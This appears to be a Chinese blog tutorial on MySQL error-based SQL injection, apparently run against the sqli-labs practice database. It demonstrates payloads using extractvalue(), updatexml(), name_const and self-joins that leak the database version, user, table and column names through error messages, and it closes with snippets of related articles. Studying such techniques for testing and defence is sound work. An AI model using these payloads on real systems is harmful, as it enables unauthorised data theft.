mysql報錯型注入

2022-07-19 18:57:12 字數 3212 閱讀 5084

mysql bug 8652

group by 對一些rand()函式進行操作時會返回duplicate key 錯誤,而這個錯誤將會披露關鍵資訊

"duplicate entry '

####

'for

key1"

這裡的####正是使用者輸入的希望查詢的內容

而該bug產生的主要原因就是:在rand()和group by同時使用到的時候,可能會產生超出預期的結果,因為會多次對同一列進行查詢

在mysql5.5之前,整形溢位是不會報錯的,根據官方文件說明out-of-range-and-overflow,只有版本號大於5.5.5時,才會報錯。試著對最大數做加法運算,可以看到報錯的具體情況,在mysql中,要使用這麼大的數,並不需要輸入這麼長的數字進去,使用按位取反運算運算即可

從mysql5.1.5開始提供兩個xml查詢和修改的函式,extractvalue和updatexml。extractvalue負責在xml文件中按照xpath語法查詢節點內容,updatexml則負責修改查詢到的內容:

mysql>

select extractvalue(1,'

/a/b');

+------------------------+

| extractvalue(1,'

/a/b

') |+--

----------------------+||

+------------------------+

1 row in

set (0.00

sec)

mysql

>

select updatexml(1,'

/a/b

',1);+--

---------------------+

| updatexml(1,'

/a/b

',1) |+--

---------------------+|1

|+-----------------------+

1 row in

set (0.00 sec)

它們的第二個引數都要求是符合xpath語法的字串,如果不滿足要求,則會報錯,並且將查詢結果放在報錯資訊裡

mysql>

select extractvalue(1,concat(0x7e,(select

@@version),0x7e

));error

1105 (hy000): xpath syntax error: '

~5.5.53~

'mysql

>

select extractvalue(1,concat(0x7e,(select

user()),0x7e

));error

1105 (hy000): xpath syntax error: '

~root@localhost~

'mysql

>

select updatexml(1,concat(0x7e,(select

database()),0x7e),1

);error

1105 (hy000): xpath syntax error: '

~security~

'mysql

>

select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=

'security

'),0x7e),1

);error

1105 (hy000): xpath syntax error: '

~emails,referers,uagents,users~

'

注意:extractvalue()和updatexml()報錯資訊是有長度限制的,最大長度限制32位。

利用資料庫的一些特性產生報錯資訊。

mysql列名重複會報錯,我們利用name_const來製造乙個列,根據官方文件,name_const函式要求引數必須是常量,所以實際使用上還沒找到什麼比較好的利用方式。

mysql>

select

*from (select name_const(version(),1),name_const(version(),1

))x;

error

1060 (42s21): duplicate column name '

5.5.53

'

利用這個特性加上join函式可以爆列名:

mysql>

select

*from(select

*from users a join

users b)c;

error

1060 (42s21): duplicate column name 'id'

mysql

>

select

*from(select

*from users a join

users b using(id))c;

error

1060 (42s21): duplicate column name '

username

'mysql

>

select

*from(select

*from users a join

users b using(id,username))c;

error

1060 (42s21): duplicate column name '

password

'

報錯型SQL注入

最近一直在看sql,xss,檔案上傳之類的漏洞,沒有抽出空來寫寫部落格 上次總結了sql注入比較基礎的整型和字元型的注入,今天就總結一下報錯型的sql注入,等下次有時間了在寫一些,布林型的和時間型的盲注 關於報錯型的注入,是在當注入對時不顯示想得到的資料或者說注入對的時候只會有一種反應,但當注入錯誤...

SQL注入之報錯型注入

一般是在頁面沒有顯示位 但用echo mysql error 輸出了錯誤資訊的時候使用,它的特點是注入速度快,但是語句較複雜,不能用group concat 只能用limit依次猜解 count rand group by三者缺一不可 報錯注入用乙個公式,只要套用公式即可,公式如下 id 2 and...

mysql 報錯注入語句 mysql注入

sql的注入型別有以下5種 boolean based blind sql injection 布林型注入 error based sql injection 報錯型注入 union query sql injection 可聯合查詢注入 stacked queries sql injection ...